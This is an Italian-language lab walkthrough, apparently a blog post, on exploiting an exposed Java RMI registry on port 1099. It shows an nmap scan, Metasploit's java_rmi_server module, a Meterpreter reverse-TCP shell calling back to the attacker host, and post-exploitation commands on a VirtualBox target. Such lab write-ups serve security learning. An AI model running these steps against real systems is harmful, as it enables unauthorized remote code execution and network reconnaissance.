

Exploit Java-RMI Porta 1099

Java RMI, che sta per Java Remote Method Invocation, è una tecnologia di programmazione distribuita in Java che consente a un oggetto Java di invocare metodi su un oggetto situato su un'altra macchina virtuale Java. In termini più semplici, Java RMI consente a un programma Java di chiamare metodi su oggetti remoti, come se fossero oggetti locali.

Se non configurato correttamente la porta 1099 può presentare delle vulnerabilità:

- Un potenziale attaccante potrebbe iniettare un oggetto non attendibile nel server RMI il quale potrebbe compromettere la sicurezza del sistema.
- Un potenziale attaccante potrebbe ottenere un accesso non autorizzato a degli oggetti contenenti dati sensibili.

Per mitigare queste vulnerabilità si possono implementare pratiche di sicurezza come firewall per limitare l'accesso ai servizi rmi.

Andiamo ora a fare una scansione con Nmap della porta 1099 dove possiamo notare che la porta 1099 è aperta con il servizio attivo di Java-RMI.

```
(kali㉿kali)-[~]  
$ sudo nmap -A -T5 192.168.1.73 -p 1099  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 04:19 EST  
Nmap scan report for 192.168.1.73 (192.168.1.73)  
Host is up (0.00045s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
MAC Address: 08:00:27:BB:AF:B6 (Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: general purpose  
Running: Linux 2.6.X  
OS CPE: cpe:/o:linux:linux_kernel:2.6  
OS details: Linux 2.6.9 - 2.6.33  
Network Distance: 1 hop  
  
TRACEROUTE  
HOP RTT      ADDRESS  
1   0.45 ms  192.168.1.73 (192.168.1.73)  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds  
  
(kali㉿kali)-[~]  
$
```

Apriamo Metasploit e andiamo a vedere i moduli che ci restituisce con la stringa "java_rmi. Normalmente andrebbero provati tutti per capire quello giusto in questo caso andiamo ad usare il modulo 1 già testato.

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI ConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

Ora andiamo a vedere le impostazioni per configurare i requisiti che ci richiede per far partire un exploit, l'unica da inserire in questo caso è l'RHOSTS ovvero l'IP della macchina target. Come possiamo vedere il modulo ci assegna un payload di default "Meterpreter reverse tcp" il che significa che è la macchina target che inizia la connessione verso la macchina attaccante.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.1.73
RHOSTS => 192.168.1.73
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.1.73	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.1.72	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

Come dicevamo in precedenza avendo un payload già di default e avendo il l'IP del localhost della macchina attaccante già settato possiamo avviare l'exploit creando correttamente una sessione.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.72:4444
```

```
[*] 192.168.1.73:1099 - Using URL: http://192.168.1.72:8080/F6tAKNFCXo9jHyt
```

```
[*] 192.168.1.73:1099 - Server started.
```

```
[*] 192.168.1.73:1099 - Sending RMI Header...
```

```
[*] 192.168.1.73:1099 - Sending RMI Call...
```

```
[*] 192.168.1.73:1099 - Replied to request for payload JAR
```

```
[*] Sending stage (58829 bytes) to 192.168.1.73
```

```
[*] Meterpreter session 1 opened (192.168.1.72:4444 → 192.168.1.73:60825) at 2023-11-10 04:33:25 -0
```

```
500
```

Creata la connessione con successo se andiamo a dare il comando “ifconfig”ci restituisce informazione relative all’interfaccia di rete della macchina target.

```
meterpreter > ifconfig
```

```
Interface 1
```

```
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::
```

```
Interface 2
```

```
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.1.73
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:febb:afb6
IPv6 Netmask   : ::
```

Invece usando il comando di “Route” ci restituisce informazioni sulla tabella di routing della macchina target.

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.1.73	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:febb:afb6	::	::		

```
meterpreter > █
```